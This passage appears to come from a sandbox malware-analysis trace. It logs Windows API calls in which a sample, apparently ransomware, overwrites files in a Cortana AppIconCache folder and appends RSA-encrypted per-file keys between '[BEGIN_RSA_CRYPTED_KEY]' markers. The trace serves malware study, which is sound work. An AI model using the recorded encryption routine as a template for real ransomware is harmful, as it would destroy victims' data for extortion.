lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0247.272] CloseHandle (hObject=0x1afc) returned 1 [0247.273] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0247.273] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{789219FF-53B5-44A2-8477-EF2C6EBA1B43}", dwFileAttributes=0x80) returned 1 [0247.273] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{789219FF-53B5-44A2-8477-EF2C6EBA1B43}" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\appiconcache\\100\\{789219ff-53b5-44a2-8477-ef2c6eba1b43}"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1afc [0247.274] GetFileSizeEx (in: hFile=0x1afc, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=4246) returned 1 [0247.274] ReadFile (in: hFile=0x1afc, lpBuffer=0x2f39028, nNumberOfBytesToRead=0x1096, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f39028*, lpNumberOfBytesRead=0x2e3f9b4*=0x1096, lpOverlapped=0x0) returned 1 [0247.275] SetFilePointer (in: hFile=0x1afc, lDistanceToMove=-4246, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0247.275] WriteFile (in: hFile=0x1afc, lpBuffer=0x2f3a0c8*, nNumberOfBytesToWrite=0x1096, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f3a0c8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x1096, lpOverlapped=0x0) returned 1 [0247.275] SetFilePointer (in: hFile=0x1afc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x1096 [0247.275] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0247.276] WriteFile (in: hFile=0x1afc, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0247.276] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0247.276] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0247.276] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0247.276] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="QJ8Dqb7rwRW/BkDRGp1/DiuL2ELx6GUxIhqVLGC5y4LgOQ4PP6gQgsbHYq6bSS3R\nSfT/B+UEkAoOX73xYGFkOLlGwhg/tu/QNmZ7OwUD0sZ4vUaPy2gLcLwLdQ5mME/G\nejVMV1MGfGtHaxkpPDKmIrR6DGuuzHw7WZmdbukcDTkT9D2ipD3GFd2UsQdXfBFV\n9IKVrWHZHe0POQDrblg7jEgE+jVYVLZ7PBCqUL1mEliDF9H6uqhqS9q425kGlhcB\nMP5AM8LyajthwBH/BJkrWlakdKbpPEDsfR7OzzxLac/MI+NrEkjHGNOkNlJ115Fb\ng76pFEOQm7Lt4Me/Os+AnQ==\n", pcchString=0x2e3f9a8) returned 1 [0247.276] WriteFile (in: hFile=0x1afc, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0247.276] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0247.276] WriteFile (in: hFile=0x1afc, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0247.276] CloseHandle (hObject=0x1afc) returned 1 [0247.278] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0247.278] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{77CE3801-C60A-4FC0-83AD-607CBE802B4C}", dwFileAttributes=0x80) returned 1 [0247.278] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{77CE3801-C60A-4FC0-83AD-607CBE802B4C}" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\appiconcache\\100\\{77ce3801-c60a-4fc0-83ad-607cbe802b4c}"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1afc [0247.279] GetFileSizeEx (in: hFile=0x1afc, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=4246) returned 1 [0247.279] ReadFile (in: hFile=0x1afc, lpBuffer=0x2f39028, nNumberOfBytesToRead=0x1096, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f39028*, lpNumberOfBytesRead=0x2e3f9b4*=0x1096, lpOverlapped=0x0) returned 1 [0247.282] SetFilePointer (in: hFile=0x1afc, lDistanceToMove=-4246, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0247.282] WriteFile (in: hFile=0x1afc, lpBuffer=0x2f3a0c8*, nNumberOfBytesToWrite=0x1096, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f3a0c8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x1096, lpOverlapped=0x0) returned 1 [0247.282] SetFilePointer (in: hFile=0x1afc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x1096 [0247.282] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0247.282] WriteFile (in: hFile=0x1afc, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0247.282] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0247.282] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0247.283] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0247.283] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="h26bLvR33GqdgxcX/nFY/zDi1tTVzEcCdlBTee3dBGPnNyhDcxYyaPpBuChC6+nF\n0xlmW75mkpZCr615XiKdvl3ShvhDDH++nlG5mSHLK+Mr++nDpHDzokUItOnudkCs\njw3nQtNpWy/6bfZrs5NH3nT7Y3Wk82eVMs4NsP23hWrMCzonXei/9R36jPJPc7U1\nzCDEAD+EbihzHyXNv6iVpb4yAjH737vGGmF0EbY9gOaw3JVP4PWLGXvI6RUpziEf\nRSizLcfUYJnXZiPqXHoFxbL1+RR/mlMb2RwThDg9FmHWUDb/EMD/AcQcjUK3dUTA\nmcXwx5k8kO62nWFXtguxRg==\n", pcchString=0x2e3f9a8) returned 1 [0247.283] WriteFile (in: hFile=0x1afc, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0247.283] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0247.283] WriteFile (in: hFile=0x1afc, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0247.283] CloseHandle (hObject=0x1afc) returned 1 [0247.285] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0247.285] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{77C47392-01FD-4E37-8CD4-29EA6C090EC5}", dwFileAttributes=0x80) returned 1 [0247.286] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{77C47392-01FD-4E37-8CD4-29EA6C090EC5}" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\appiconcache\\100\\{77c47392-01fd-4e37-8cd4-29ea6c090ec5}"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1afc [0247.286] GetFileSizeEx (in: hFile=0x1afc, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=4246) returned 1 [0247.287] ReadFile (in: hFile=0x1afc, lpBuffer=0x2f39028, nNumberOfBytesToRead=0x1096, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f39028*, lpNumberOfBytesRead=0x2e3f9b4*=0x1096, lpOverlapped=0x0) returned 1 [0247.288] SetFilePointer (in: hFile=0x1afc, lDistanceToMove=-4246, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0247.288] WriteFile (in: hFile=0x1afc, lpBuffer=0x2f3a0c8*, nNumberOfBytesToWrite=0x1096, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f3a0c8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x1096, lpOverlapped=0x0) returned 1 [0247.288] SetFilePointer (in: hFile=0x1afc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x1096 [0247.288] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0247.288] WriteFile (in: hFile=0x1afc, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0247.288] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0247.288] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0247.289] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0247.289] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="Z7YyewyqKfEhsSuc5AHyx/Co5XuFGd/pHGWns1d7cQDM2feeaCr4ifS0SJ8dgBMc\nb8wlnQ7wXTMpIeP3+nVxcDQIknV996Q0kEzV3YsE0qaOQUwqii6u8xmKCXwwb6Uh\n4mcxtrGSt3X973G2ZJxP6O5SazhHbeMNnPQf+DfX8apaDvdZJlQWhEhFsEktzaM/\nZ6Xj0J+K0uESL71X31pzBcoRU1LfRjju9hwQAh31PEEwQj8tUlkqKUWIUS9pf0Hs\nlXAn1yW3fJHDFMv0dYfW+Oi7UbPsDfggZkiq/yitVQm+G3ILLA2ZdpNc5YcdLUiJ\nmZryK83i/B7swD641tZ1sg==\n", pcchString=0x2e3f9a8) returned 1 [0247.289] WriteFile (in: hFile=0x1afc, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0247.289] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0247.289] WriteFile (in: hFile=0x1afc, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0247.289] CloseHandle (hObject=0x1afc) returned 1 [0247.291] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0247.291] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{754CB5B5-FC11-468D-8A43-AFE0C8CF4582}", dwFileAttributes=0x80) returned 1 [0247.291] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{754CB5B5-FC11-468D-8A43-AFE0C8CF4582}" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\appiconcache\\100\\{754cb5b5-fc11-468d-8a43-afe0c8cf4582}"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1afc [0247.292] GetFileSizeEx (in: hFile=0x1afc, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=4246) returned 1 [0247.292] ReadFile (in: hFile=0x1afc, lpBuffer=0x2f39028, nNumberOfBytesToRead=0x1096, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f39028*, lpNumberOfBytesRead=0x2e3f9b4*=0x1096, lpOverlapped=0x0) returned 1 [0247.306] SetFilePointer (in: hFile=0x1afc, lDistanceToMove=-4246, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0247.306] WriteFile (in: hFile=0x1afc, lpBuffer=0x2f3a0c8*, nNumberOfBytesToWrite=0x1096, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f3a0c8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x1096, lpOverlapped=0x0) returned 1 [0247.306] SetFilePointer (in: hFile=0x1afc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x1096 [0247.306] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0247.307] WriteFile (in: hFile=0x1afc, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0247.307] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0247.307] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0247.307] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0247.307] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="LTW+nTDFZ+oWY0AHIUmxBtsP7sLGvrnegTxZ5Z3kMGm0K+QHNrpUahLKL/8XAERX\nVdmNSl9O/wEEmumuBQakwS2AcGlPFRy2tz2FbDguN54DHNiyyd7w0f/oEUzXs99Y\nd5zIcTuZzzavWL2MCyckvlQH0hwrTAmVhMw/R/05n43IkmmrJ3yepmqtfLubuwQ/\nNT2l358SapkR4zdzTI/0VLHO2e3ASuMN5Y4k0zhZpvAPERoyd+DxAp7H314IOD9d\nnOV1QhNJxMiw/OIvr1TB1vpLa/s0YtyLIXX20tH/xxsKlGitXCQi4F11CbeFChp5\nw2aq4kHtbrt0EUdalapOmQ==\n", pcchString=0x2e3f9a8) returned 1 [0247.307] WriteFile (in: hFile=0x1afc, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0247.307] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0247.307] WriteFile (in: hFile=0x1afc, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0247.307] CloseHandle (hObject=0x1afc) returned 1 [0247.309] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0247.309] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{74E006B5-03B7-499C-A87A-98C01F00642C}", dwFileAttributes=0x80) returned 1 [0247.309] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{74E006B5-03B7-499C-A87A-98C01F00642C}" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\appiconcache\\100\\{74e006b5-03b7-499c-a87a-98c01f00642c}"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1afc [0247.310] GetFileSizeEx (in: hFile=0x1afc, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=4246) returned 1 [0247.310] ReadFile (in: hFile=0x1afc, lpBuffer=0x2f39028, nNumberOfBytesToRead=0x1096, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f39028*, lpNumberOfBytesRead=0x2e3f9b4*=0x1096, lpOverlapped=0x0) returned 1 [0247.311] SetFilePointer (in: hFile=0x1afc, lDistanceToMove=-4246, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0247.311] WriteFile (in: hFile=0x1afc, lpBuffer=0x2f3a0c8*, nNumberOfBytesToWrite=0x1096, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f3a0c8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x1096, lpOverlapped=0x0) returned 1 [0247.311] SetFilePointer (in: hFile=0x1afc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x1096 [0247.311] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0247.311] WriteFile (in: hFile=0x1afc, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0247.311] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0247.312] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0247.312] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0247.312] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="yPvV3yf/nCIe5aZVrFTND0fdNsHNwcpyK0IQEgUzUNhq9IyAPBjZn9I8cyqvT6KZ\n2ACMNoqZ+u/OZiGGVOXo3xjG5gjcpytpEdG8NPAJ5thNzS/WXGHI6qItpWQ3pXZs\nGaf5xmeTElmoDxMw6mFTFiUfK4sSbdl0Z+H6eptsb3XlIyp579010hGP2MN3FwF4\nNxss7JPUhCTMTPIFZ8orTCrjLUUqBqZHOepHu/0Wt7HxAL0m+WWjYgLyX5sQFFMs\nFKIT7ArvSrERGkIrdKThbDtfHodicuONFvjmJSR3QNOf2Qw4mDakCljiyBahwL6z\nih8fAWd6P8v8E75OlFz7oA==\n", pcchString=0x2e3f9a8) returned 1 [0247.312] WriteFile (in: hFile=0x1afc, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0247.312] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0247.312] WriteFile (in: hFile=0x1afc, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0247.312] CloseHandle (hObject=0x1afc) returned 1 [0247.322] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0247.322] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{6EB6C718-25FE-4440-B4C1-BF3DE8ADFC98}", dwFileAttributes=0x80) returned 1 [0247.323] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{6EB6C718-25FE-4440-B4C1-BF3DE8ADFC98}" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\appiconcache\\100\\{6eb6c718-25fe-4440-b4c1-bf3de8adfc98}"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1afc [0247.324] GetFileSizeEx (in: hFile=0x1afc, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=4246) returned 1 [0247.324] ReadFile (in: hFile=0x1afc, lpBuffer=0x2f39028, nNumberOfBytesToRead=0x1096, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f39028*, lpNumberOfBytesRead=0x2e3f9b4*=0x1096, lpOverlapped=0x0) returned 1 [0247.325] SetFilePointer (in: hFile=0x1afc, lDistanceToMove=-4246, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0247.325] WriteFile (in: hFile=0x1afc, lpBuffer=0x2f3a0c8*, nNumberOfBytesToWrite=0x1096, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f3a0c8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x1096, lpOverlapped=0x0) returned 1 [0247.325] SetFilePointer (in: hFile=0x1afc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x1096 [0247.325] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0247.325] WriteFile (in: hFile=0x1afc, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0247.325] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0247.326] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0247.326] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0247.326] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: 